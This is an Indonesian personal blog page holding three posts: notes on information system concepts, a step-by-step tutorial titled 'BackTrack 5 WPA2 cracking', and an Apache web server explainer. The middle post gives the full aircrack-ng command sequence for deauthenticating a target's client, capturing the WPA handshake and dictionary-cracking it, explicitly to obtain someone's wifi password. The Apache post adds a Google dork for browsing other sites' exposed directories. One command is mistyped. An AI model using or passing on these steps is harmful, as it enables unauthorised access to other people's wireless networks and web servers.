Friday, September 12, 2014

Konsep Sistem Informasi (KSI)

1. Sistem

Terdapat dua kelompok pendekatan dalam mendefinisikan sistem, yaitu yang menekankan pada prosedurnya dan yang menekankan pada komponen atau elemennya. Pendekatan sistem yang lebih menekankan pada prosedur mendefinisikan sistem sebagai berikut ini:
Suatu sistem adalah suatu jaringan kerja dari prosedur-prosedur yang saling berhubungan, berkumpul bersama-sama untuk melakukan suatu kegiatan atau untuk menyelesaikan suatu sasaran yang tertentu. Pendekatan sistem yang merupakan jaringan kerja dari prosedur lebih menekankan urut-urutan operasi didalam sistem.


Pendekatan sistem yang lebih menekankan pada elemen atau komponennya mendefinisikan sistem sebagai berikut :
Sistem adalah kumpulan dari elemen-elemen yang berinteraksi untuk mencapai suatu tujuan tertentu.
Pendekatan sistem yang merupakan kumpulan dari elemen-elemen atau komponen-komponen atau subsistem-subsistem merupakan definisi yang lebih luas dan lebih banyak diterima karena pada kenyataannya suatu sistem terdiri dari beberapa subsitem atau sistem-sistem bagian. Komponen-komponen atau subsistem-subsistem dalam suatu sistem tidak dapat berdiri sendiri, semuanya saling berinteraksi dan saling berhubungan membentuk satu kesatuan sehingga sasaran sistem dapat tercapai.






1.1. Karakteristik Sistem
Suatu sistem menpunyai karakteristik atau sifat-sifat tertentu, yaitu mempunyai komponen-komponen (components), batas (boundary), lingkungan luar sistem (environments), penghubung (interface), masukan (input), keluaran (output), pengolah (process), dan sasaran (objectives) atau tujuan (goal).

a. Komponen Sistem
Suatu sistem terdiri dari sejumlah komponen yang saling berinteraksi, yang artinya saling bekerjasama membentuk suatu kesatuan. Komponen-komponen sistem atau elemen-elemen sistem dapat berupa subsistem atau bagian-bagian dari sistem. Setiap sistem tidak perduli betapapun kecilnya, selalu mengandung komponen-komponen atau subsistem-subsistem. Setiap subsistem mempunyai sifat-sifat dari subsistem untuk menjalankan suatu fungsi tertentu dan mempengaruhi proses sistem secara keseluruhan. Suatu sistem dapat mempunyai suatu sistem yang lebih besar disebut dengan supra sistem, misalnya suatu perusahaan dapat disebut sebagai suatu sistem sedang industri yang merupakan sistem yang lebih besar dapat disebut dengan supra sistem. Kalau dipandang industri sebagai suatu sistem, maka perusahaan dapat disebut sebagai subsistem. Demikian juga bila perusahaan dipandang sebagai suatu sistem, maka sistem akuntansi adalah subsistemnya. Kalau sistem akuntansi dipandang sebagai suatu sistem, maka perusahaan adalah supra sistem dan industri adalah supra dari supra sistem.

b. Batas sistem
Batas sistem (boundary) merupakan daerah yang membatasi antara suatu sistem dengan sistem yang lainnya atau dengan lingkungan luarnya. Batas sistem ini memungkinkan suatu sistem dipasang sebagai suatu kesatuan. Batas suatu sistem menunjukkan ruang lingkup (scope) dari sistem tersebut.

c. Lingkungan luar sistem
Lingkungan luar (environment) dari suatu sistem adalah apapun diluar batas dari sistem yang mempengaruhi operasi sistem. Lingkungan luar sistem dapat bersifat menguntungkan dan dapat bersifat merugikan sistem tersebut. Lingkungan luar yang menguntungkan merupakan energi dari sistem dan dengan demikian harus tetap dijaga dan dipelihara. Sedang lingkungan luar yang merugikan harus ditahan dan dikendalikan, kalau tidak maka akan mengganggu kelangsungan hidup dari sistem.

d. Penghubung sistem
Penghubung (interface) merupakan media penghubung antara satu subsistem dengan subsistem lainnya. Melalui penghubung ini memungkinkan sumber-sumber daya mengalir dari satu subsistem ke subsistem yang lain. Keluaran (output) dari satu subsistem akan menjadi satu masukan (input) bagi subsistem yang lain dan akan melalui penghubung. Dengan penghubung satu subsistem dapat berintegrasi dengan subsistem yang lainnya membentuk satu kesatuan.

e. Masukan system
Masukan (input) adalah energi yang dimasukkan kedalam sistem. Masukan dapat berupa masukan peralatan (maintenence input) dan masukan sinyal (signal input). Mantenance input adalah energi yang diproses agar didapatkan keluaran. Sebagai contoh didalam sistem komputer, program adalah maintenance input yang digunakan untuk mengoperasikan komputernya sedangkan data adalah signal input untuk diolah menjadi informasi.

f. Keluaran sistem
Suatu sistem dapat mempunyai suatu bagian pengolah yang akan merubah masukan menjadi keluaran. Suatu sistem produksi akan mengolah masukan berupa bahan baku dan bahan-bahan yang lain menjadi keluaran berupa barang jadi. Sistem akuntansi akan mengolah transaksi menjadi laporan keuangan dan laporan-laporan lain yang dibutuhkan oleh menejemen.

g. Sasaran sistem
Suatu sistem pasti mempunyai tujuan (goal) atau sasaran (objektif). Kalau sistem tidak mempunyai sasaran, maka operasi sistem tidak akan ada gunanya. Sasaran dari sistem sangat menentukan sekali, masukan yang dibutuhkan sistem dan keluaran yang akan dihasilkan sistem.

1.2. Klasifikasi system
Sistem dapat diklasifikasikan dari beberapa sudut pandang, diantaranya sebagai berikut ini :

a) Sistem abstrak dan sistem fisik.
Sistem abstrak adalah sistem yang berupa pemikiran atau ide-ide yang tidak tampak secara fisik. Misalnya sistem teologia, yaitu sistem yang berupa pemikiran-pemikiran hubungan antara manusia dengan tuhan.
Sistem fisik merupan sistem yang ada secara fisik misalnya sistem komputer, sistem akuntansi dan sistem produksi.

b) Sistem alamiah (natural system) dan sistem buatan manusia (human made system).
Sistem alamiah adalah sistem yang terjadi melalui proses alam, misalnya sistem perputaran bumi. Sistem buatan manusia adalah sistem yang dirancang oleh manusia. Sistem buatan manusia yang melibatkan interaksi antara manusia dengan mesin disebut dengan human machine system atau ada yang menyebut dengan man machine system, karena menyangkut penggunaan komputer yang berinteraksi dengan manusia.

c) Sistem tertentu (deterministic system) dan sistem tak tentu (probabilistic system).
Sistem tertentu beroperasi tertentu dengan tingkah laku yang sudah dapat diprediksi. Inteaksi diantara bagian-bagiannya dapat dideteksi dengan pasti, sehingga keluaran dari sistem dapat diramalkan. Sistem komputer adalah contoh dari sistem tertentu yang tingkah lakunya dapat dipastikan berdasarkan program-program yang dijalankan. Sistem tak tentu adalah sistem yang kondisi masa depannya tidak dapat diprediksi karena mengandung unsur probabilitas.

d) Sistem tertutup (closed system) dan sistem terbuka (open system).

Sistem tertutup merupakan sistem yang tidak berhubungan dan tidak terpengaruh oleh lingkungan luarnya. Sistem ini bekerja secara otomatis tanpa adanya turut campur tangan dari pihak diluarnya. Secara teoritis sistem tertutup ada, tetapi kenyataan tidak ada sistem yang benar-benar tertutup yang ada hanyalah relatively closed system (secara relatif tertutup, tidak benar-benar tertutup), sedang sistem terbuka adalah sistem yang berhubungan dan terpengaruh oleh lingkungan luarnya. Sistem ini menerima masukan dan menghasilkan keluaran untuk lingkungan luar atau subsistem yang lainnya, karena sistem sifatnya terbuka dan tepengaruh oleh lingkungan luarnya, maka suatu sistem harus mempunyai sistem pengendalian yang baik. Sistem-sistem yang baik harus dirancang sedemikian rupa, sehingga secara relatif tertutup karena sistem tertutup akan bekerja secara otomatis dan terbuka untuk pengaruh yang baik saja.

2. Informasi
Informasi adalah data yang diolah menjadi bentuk yang lebih berguna dan lebih berarti bagi yang menerimanya, sedangkan data merupakan sumber informasi yang menggambarkan suatu kejadian (kumpulan fakta).
Sistem informasi, menurut Leitel dan Davis dalam bukunya “Accounting Information System” mendefinisikan bahwa :

Sistem informasi adalah suatu sistem didalam suatu organisasi yang mempertemukan kebutuhan-kebutuhan pengolahan transaksi harian, mendukung operasi, bersifat manajerial dan kegiatan strategi dari suatu organisasi dan menyediakan pihak luar tertentu dengan laporan-laporan yang diperlukan.
Definisi yang umum, sistem informasi diartikan sebagai suatu sistem dalam suatu organisasi yang mengolah data menjadi bentuk yang lebih berguna untuk mencapai suatu tujuan.

3. Pengembangan Sistem Informasi
Pengembangan sistem dapat berarti menyusun sistem yang baru untuk menggantikan sistem yang lama secara keseluruhan atau untuk memperbaiki sistem yang sudah ada. Sistem yang sudah lama perlu diperbaiki atau bahkan diganti, dapat disebabkan oleh beberapa hal, diantaranya yaitu :
1. Kesalahan yang tidak sengaja, yang menyebabkan kebenaran data kurang terjamin.
2. Tidak efisiensinya operasi pengolahan data tersebut.
3. Adanya instruksi-instruksi atau kebijaksanaan yang baru baik dari pemimpin atau dari luar organisasi seperti peraturan pemerintah.
Sesungguhnya yang dimaksud sistem informasi tidak harus melibatkan komputer, sistem informasi yang menggunakan komputer biasa disebut sistem informasi berbasis komputer (computer based information system atau CBIS), tetapi dalam prakteknya sistem informasi lebih sering dikait-kaitkan dengan komputer. Berikut beragam definisi sistem informasi :

1. Turban, McLean, dan Wetherbe (1999)

Sistem informasi adalah sebuah sistem informasi yang mempunyai fungsi mengumpulkan, memproses, menyimpan, menganalisis, dan menyebarkan informasi untuk tujuan yang spesifik.

2. Bodnar dan HopWood (1993)
Sistem informasi adalah kumpulan perangkat keras dan lunak yang dirancang untuk mentransformasikan data ke dalam bentuk informasi yang berguna.

3. Alter (1992)
Sistem informasi adalah kombinasi antara prosedur kerja, informasi, orang, dan teknologi informasi yang diorganisasikan untuk mencapai tujuan dalam sebuah perusahaan.
Istilah teknologi dan sistem informasi dapat digunakan secara informal tanpa mendefinisikan istilah tersebut. Penerapan sistem informasi pada prinsipnya lebih rumit, hal tersebut dapat difahami dengan baik dengan melihat perspektif teknologi yang berada dalam suatu organisasi (Kenneth, 2008).
Definisi Sistem Informasi

Terdapat berbagai macam pengertian Sistem Informasi menurut beberapa ahli, diantaranya :
Sistem informasi (Information System) adalah sekumpulan komponen yang saling berhubungan, mengumpulkan atau mendapatkan, memproses, menyimpan dan mendistribusikan informasi untuk menunjang pengambilan keputusan dan pengawasan dalam suatu organisasi serta membantu manajer dalam mengambil keputusan (Kenneth,2008).
Pengertian dari sistem informasi menurut Komunitas Mahasiswa Sistem Informasi di Yogyakarta (KAMII,2008) memaparkan bahwa Sistem Informasi adalah sebuah aplikasi komputer yang digunakan untuk mendukung operasi dari suatu organisasi serta merupakan aransemen dari orang, data dan proses yang terjadi di dalamnya yang berinteraksi satu sama lain dalam mendukung dan memperbaiki organisasi serta mendukung dalam pemecahan masalah dan kebutuhan pembuat keputusan.

Komponen Sistem Informasi
John Burch dan Gary Grudnitski (Jogiyanto,2005) mengemukakan bahwa Sistem informasi terdiri dari komponen-komponen yang disebut dengan istilah blok bangunan (building block). Sebagai suatu sistem, blok bangunan tersebut masing-masing berinteraksi satu dengan yang lainnya membentuk satu kesatuan untuk mencapai sasarannya. Blok bangunan tersebut terdiri dari (Jogiyanto,2005):

Blok Masukan (Input Block)
Input mewakili data yang masuk ke dalam sistem informasi. Input disini termasuk metode-metode dan media untuk menangkap data yang akan dimasukkan, yang dapat berupa dokumen-dokumen dasar.

Blok Model (Model Block)
Blok ini terdiri dari kombinasi prosedur, logika dan model matematik yang akan memanipulasi data input dan data yang tersimpan di basis data dengan cara yang sudah tertentu untuk menghasilkan keluaran yang diinginkan.

Blok Keluaran (Output Block)
Produk dari sistem informasi adalah keluaran yang merupakan informasi yang berkualitas dan dokumentasi yang berguna untuk semua tingkatan manajemen serta semua pemakai sistem.

Blok Teknologi (Technology Block)
 Teknologi digunakan untuk menerima input, menjalankan model, menyimpan dan mengakses data, menghasilkan dan mengirimkan keluaran dan membantu pengendalian dari sistem secara keseluruhan. Terdiri dari 3 bagian utama, yaitu teknisi (humanware atau brainware), perangkat lunak (software) dan perangkat keras.

Blok Basis Data (Database Block)
Basis data (database) merupakan kumpulan dari data yang saling berhubungan satu dengan yang lainnya, tersimpan di perangkat keras komputer dan digunakan perangkat lunak untuk memanipulasinya. Basis data diakses atau dimanipulasi dengan menggunakan perangkat lunak paket yang disebut dengan DBMS (Database Management Systems).

Blok Kendali (Controls Block)
Beberapa pengendalian perlu dirancang dan diterapkan untuk meyakinkan bahwa hal-hal yang dapat merusak sistem dapat dicegah ataupun bila terlanjur terjadi kesalahan-kesalahan dapat langsung cepat diatasi.

BACKTRACK 5 WPA2 CRACKING

Kali ini saya akan berbagi sedikit tentang bagaimana Cara Mendapatkan Password Wifi Menggunakan BackTrack 5

Tutorial ini dibuat di OS Back|Track 5 32 GNOME, dan juga bisa berjalan pada OS berbasis UNIX lainnya.


Persiapan :
1. Aircrack
2. Dictionary attack





Langkah - Langkah :
1. Hentikan semua proses yang menghambat jalannya aireplay
2. Simpan hasil monitoring
3. Lakukan aireplay untuk mendapatkan WPA Handshake
4. Crack hasil rekaman dengan dictionary attack
5. Gameover


1. Fungsinya : Hentikan semua proses yang menghambat jalannya aireplay
#airmon-ng check kill

2. Fungsinya : Buat interface baru dengan mode monitor menggunakan airmon-ng
#airmon-ng start wlan0

3. Fungsinya : Monitoring setiap akses poin yang ada di sekitar attacker

#airodump-ng mon0


4. Fungsinya :Pilih target, kemudian Monitoring dan simpan hasil monitoring airodump
#airmon-ng --write output --channel 6 --bssid 58:6D:8F:3D:55:E8 mon0




Keterangan :
1. --write : berfungsi untuk menyimpan hasil monitoring
2. output : nama hasil monitoring yang di simpan [bisa diisi bebas]
3. --chanel : channel akses poin target
4. --bssid : mac address akses poin

5. 6 = channel target
6. 58:6D:8F:3D:55:E8 = bssid target



5. Fungsinya : Jalankan aireplay-ng untuk mendapatkan WPA Handshake
#aireplay-ng --deauth 1 -a 58:6D:8F:3D:55:E8 -c E0:B9:A5:9D:18:94 mon0

Keterangan :
1. --deauth : berfungsi untuk deautentikasi setiap stasiun pada akses sebuah jaringan
2. -a : mac address akses poin
3. -c : mac address klien

Note :
Jika belum muncul WPA handshake, ganti mac address klien dengan yang lain.

#aireplay-ng --deauth 1 -a 58:6D:8F:3D:55:E8 -c 58:6D:8F:3D:55:E8 mon0



6. Fungsinya : Jika sudah mendapatkan WPA handshake dari klien, langkah selanjutnya adalah menghentikan proses airodump-ng dengan menekan tombol ctrl + c, dan cracking password dengan aircrack-ng
#aircrack-ng output-01.cap -w /root/crack wpa.txt

Keterangan :
1. output-01.cap harus disesuaikan dengan nama hasil monitoring yang anda kehendaki pada tahap 4
2. -w adalah metode dictionary, diikuti dengan direktori dictionary milik anda.


7. Langkah selanjutnya adalah mengetes kebenaran dari metode ini



 Oke, Sekian Sedikit Penjelasan dari gue, Semoga bermanfaat dan ingat, jangan salah gunakan untuk hal yang tidak PENTING, hehehe..

DEFINISI APACHE

Apache adalah sebuah nama web server yang bertanggung jawab pada request-response HTTP dan logging informasi secara detail(kegunaan basicnya). Selain itu, Apache juga diartikan sebagai suatu web server yang kompak, modular, mengikuti standar protokol HTTP, dan tentu saja sangat digemari. Kesimpulan ini bisa didapatkan dari jumlah pengguna yang jauh melebihi para pesaingnya. Sesuai hasil survai yang dilakukan oleh Netcraft, bulan Januari 2005 saja jumlahnya tidak kurang dari 68% pangsa web server yang berjalan di Internet. Ini berarti jika semua web server selain Apache digabung, masih belum bisa mengalahkan jumlah Apache.
Apache memiliki fitur-fitur canggih seperti pesan kesalahan yang dapat dikonfigur, autentikasi berbasis basis data dan lain-lain. Apache juga didukung oleh sejumlah antarmuka pengguna berbasis grafik (GUI) yang memungkinkan penanganan server menjadi mudah. Apache merupakan perangkat lunak sumber terbuka dikembangkan oleh komunitas terbuka yang terdiri dari pengembang-pengembang dibawah naungan Apache Software Foundation.
Saat ini ada dua versi Apache yang bisa dipakai untuk server produksi, yaitu versi mayor 2.0 dan versi mayor 1.3. Apache merupakan webserver yang paling banyak digunakan saat ini. Hal ini disebabkan oleh beberapa sebab, di antaranya adalah karena sifatnya yang opensource dan mudahnya mengkostumisasikannya. diantaranya dengan menambahkan support secure protocol melalui ssl dan konektifitasnya dengan database server melalui bahasa scripting PHP .
1. Ab (Apache Bookmarking Tool)
Ab adalah Apache HTTP server benchmarking tool, yang intinya adalah untuk mengukur berapa kecepatan apache dalam menangani sejumlah request per unit waktu. Semakin besar nilainya (request/second) semakin baik. Nilai ini (request/second) bisa di-tuning dengan beberapa cara, misalnya dengan caching, php accelerator (zend, eAccelerator), dan lainnya. Sebuah contoh kasus pada blog yang menggunakan engine wordpress di dalamnya, sebelum menggunakan plugin cache (murni wordpress) bisa mendapat sekitar +/- 40 requests/second. Tapi setelah menambahkan plugin WP-Cache (disarankan:) WP-Super Cache bisa mencapai 400-an requests/second. Berikut link urlnya: http://elliottback.com/wp/why-my-wordpress-site-is-so-much-faster-than-yours/
2. Alias pada apache
Alias pada web server berfungsi jika kita ingin menampilkan web yang berada di luar directori default dari apache. Misal sebagai contoh terdapat web duniakamu yg berlokasi di /media/web/. Seharusnya web tersebut diletakkan di /var/www/ akan tetapi pada direktori defaul apache sudah terdapat file lain. Jika direktori duniakamu dimasukkan ke dalam direktori default apache akan menghasilkan kericuhan pada direktori itu. Untuk menghindari kericuhan itu bisa ditambahkan beberapa baris tulisan pada apache.conf tentang alias.
Alias /duniakamu “/media/web/duniakamu/”
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
Setelah ditambahkan save dan restart web servernya sesuai directori dan versi web server, misal /etc/init.d/apache2 restart. Kemudian atur juga permision pada direktori duniakamu, atur agar smua user bisa membaca dan mengeksekusi, misal chmod 775 /media/web/duniakamu.
3. Masuk ke Directori Apache
Yang dimaksud dengan Directori Apache adalah direktori atau folder dimana terdapat kumpulan script atau konfigurasi file suatu web ( web yang menggunakan server apache).
Berikut ini adalah langkah-langkahnya :
a. Buka google.
b. pastekan kode di bawah ini di kolom search lalu tekan Enter.
“Apache/1.3.31 server at” intitle:index of
Perintah diatas digunakan untuk menyuruh mesin Google untuk menquery alamat website yang menggunakan server Apache versi 1.3.31 terutama index filenya.
c. buka salah satu alamat situs dari hasil pencarian google tersebut dan anda sudah bisa masuk ke direktori web tersebut.
4. Cara Menginstall Apache
Cara menginstall apache bisa melalui console juga bisa melalui module dari webmin.
Berikut adalah langkah-langkah Menginstall apache dengan module dari webmin.
Sebelum menginstall pastikan anda sudah login ke webmin anda. Namun jika di server anda sudah ada apache, maka tidak perlu melakukan langkah ini.
a. Untuk install, masuk ke webmin kemudian klik un-used module.
b. Maka akan keluar tulisan The Apache Webserver package can be automatically installed by Webmin. Click here to have it downloaded and installed using YUM. Kemudian klik di click here.
c. Setelah itu apache server siap dikonfigurasi. Jika apache sukses diinstall maka di tab servers akan keluar tulisa apache webserver.
d. Untuk mengecek apakah instalasi apache anda sudah berhasil atau belum, coba buka IP anda melalui firefox, http://IP_anda/.

 

Subscribe to our Newsletter

Contact our Support

Email me: bayujram@gmail.com

Buset Kata Gue®